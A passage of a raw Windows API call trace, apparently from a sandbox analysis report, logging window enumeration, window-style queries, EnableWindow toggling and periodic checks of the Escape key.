uCmd=0x2) returned 0x10106 [0103.947] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0103.947] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0103.947] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0103.947] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0103.947] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0103.947] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0103.947] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0103.947] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0103.947] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0103.947] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0103.947] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0103.947] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0103.948] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0103.948] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0103.948] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0103.948] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0103.948] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0103.948] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0103.948] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0103.948] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0103.948] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0103.948] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0103.948] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a0f40 [0103.949] IMalloc:Free (This=0x7fefecb5380, pv=0x76a0f40) [0104.043] GetCurrentThreadId () returned 0xbdc [0104.043] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0104.043] GetDesktopWindow () returned 0x10010 [0104.043] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0104.043] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0104.043] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0104.043] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0104.043] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0104.044] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0104.044] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0104.044] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0104.044] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0104.044] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0104.044] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0104.044] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0104.044] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0104.044] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0104.044] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0104.044] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0104.044] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0104.045] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0104.045] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0104.045] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0104.045] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0104.045] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0104.045] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0104.045] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0104.045] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0104.045] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0104.045] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0104.045] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0104.045] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0104.045] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0104.045] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0104.045] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0104.045] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0104.045] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0104.045] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0104.045] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0104.045] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0104.046] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0104.046] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0104.046] IsWindowEnabled (hWnd=0x20360) returned 1 [0104.046] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0104.046] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0104.046] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0104.046] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0104.046] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0104.046] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0104.046] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0104.046] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0104.046] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0104.046] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0104.046] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0104.046] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0104.046] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0104.046] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0104.046] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0104.047] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0104.047] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0104.047] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0104.047] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0104.047] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0104.047] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0104.047] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0104.047] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0104.047] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0104.047] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0104.047] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0104.047] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0104.047] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0104.047] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0104.047] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0104.048] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7da08b0 [0104.048] IMalloc:Free (This=0x7fefecb5380, pv=0x7da08b0) [0106.964] GetAsyncKeyState (vKey=27) returned 0 [0106.964] GetCurrentThreadId () returned 0xbdc [0106.964] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0106.964] GetDesktopWindow () returned 0x10010 [0106.964] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0106.964] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0106.964] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0106.965] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0106.965] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0106.965] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0106.965] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0106.965] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0106.965] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0106.965] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0106.965] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0106.965] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0106.965] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0106.965] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0106.965] IsWindowEnabled (hWnd=0x20360) returned 0 [0106.965] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0106.965] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0106.965] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0106.965] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0106.965] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0106.965] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0106.965] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0106.965] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0106.965] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0106.965] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0106.966] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0106.966] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0106.966] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0106.966] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0106.966] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0106.966] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0106.966] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0106.966] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0106.966] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0106.966] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0106.966] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0106.966] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1060 [0106.966] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1060) [0107.035] GetCurrentThreadId () returned 0xbdc [0107.035] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0107.035] GetDesktopWindow () returned 0x10010 [0107.036] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0107.036] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0107.036] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0107.036] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0107.036] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0107.036] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0107.036] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0107.036] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0107.036] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0107.036] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0107.036] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0107.036] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0107.036] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0107.036] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0107.036] IsWindowEnabled (hWnd=0x20360) returned 1 [0107.036] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0107.036] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0107.036] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0107.037] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0107.037] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0107.037] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0107.037] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0107.037] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0107.037] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0107.037] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0107.037] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0107.037] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0107.037] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0107.037] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0107.037] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0107.037] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0107.037] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0107.037] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0107.037] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0107.037] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0107.037] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0107.038] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7da0210 [0107.038] IMalloc:Free (This=0x7fefecb5380, pv=0x7da0210) [0110.028] GetAsyncKeyState (vKey=27) returned 0 [0110.028] GetCurrentThreadId () returned 0xbdc [0110.028] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0110.028] GetDesktopWindow () returned 0x10010 [0110.029] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0110.029] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0110.029] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0110.029] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0110.029] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0110.029] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0110.029] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0110.029] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0110.029] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0110.029] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0110.029] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0110.029] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0110.029] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0110.029] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0110.029] IsWindowEnabled (hWnd=0x20360) returned 0 [0110.029] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0110.029] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0110.029] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0110.030] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0110.030] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0110.030] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0110.030] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0110.030] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0110.030] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0110.030] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0110.030] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0110.030] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0110.030] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0110.030] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0110.030] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0110.030] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0110.030] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0110.030] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0110.030] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0110.030] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0110.030] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0110.031] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x769b700 [0110.031] IMalloc:Free (This=0x7fefecb5380, pv=0x769b700) [0110.085] GetCurrentThreadId () returned 0xbdc [0110.085] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0110.085] GetDesktopWindow () returned 0x10010 [0110.086] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0110.086] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0110.086] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0110.086] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0110.086] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0110.086] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0110.086] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0110.086] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0110.086] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0110.086] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0110.086] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0110.086] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0110.086] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0110.086] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0110.086] IsWindowEnabled (hWnd=0x20360) returned 1 [0110.086] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0110.086] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0110.086] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0110.087] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0110.087] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0110.087] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0110.087] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0110.087] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0110.087] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0110.087] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0110.087] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0110.087] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0110.087] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0110.087] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0110.087] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0110.087] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0110.087] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0110.087] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0110.087] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0110.087] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0110.087] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0110.088] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7da0f90 [0110.088] IMalloc:Free (This=0x7fefecb5380, pv=0x7da0f90) [0113.104] GetAsyncKeyState (vKey=27) returned 0 [0113.104] GetCurrentThreadId () returned 0xbdc [0113.104] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0113.104] GetDesktopWindow () returned 0x10010 [0113.104] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0113.104] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0113.104] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0113.105] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0113.105] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0113.105] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0113.105] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0113.105] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0113.105] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0113.105] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0113.105] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0113.105] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0113.105] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0113.105] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0113.105] IsWindowEnabled (hWnd=0x20360) returned 0 [0113.105] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0113.105] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0113.105] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0113.105] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0113.106] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0113.106] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0113.106] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0113.106] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0113.106] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0113.106] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0113.106] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0113.106] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0113.106] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0113.106] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0113.106] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0113.106] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0113.106] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0113.106] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0113.106] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0113.106] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0113.107] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0113.107] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a0fe0 [0113.107] IMalloc:Free (This=0x7fefecb5380, pv=0x76a0fe0) [0113.166] GetCurrentThreadId () returned 0xbdc [0113.166] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0113.167] GetDesktopWindow () returned 0x10010 [0113.167] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0113.167] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0113.167] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0113.167] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0113.167] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0113.167] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0113.167] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0113.167] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0113.167] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0113.167] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0113.167] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0113.167] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0113.167] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0113.168] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0113.168] IsWindowEnabled (hWnd=0x20360) returned 1 [0113.168] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0113.168] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0113.168] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0113.168] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0113.168] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0113.168] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0113.168] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0113.168] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0113.168] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0113.168] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0113.168] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0113.180] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0113.180] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0113.180] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0113.180] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0113.180] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0113.180] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0113.180] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0113.180] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0113.180] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0113.181] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0113.181] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7da5910 [0113.181] IMalloc:Free (This=0x7fefecb5380, pv=0x7da5910) [0116.191] GetAsyncKeyState (vKey=27) returned 0 [0116.191] GetCurrentThreadId () returned 0xbdc [0116.191] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0116.191] GetDesktopWindow () returned 0x10010 [0116.192] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: 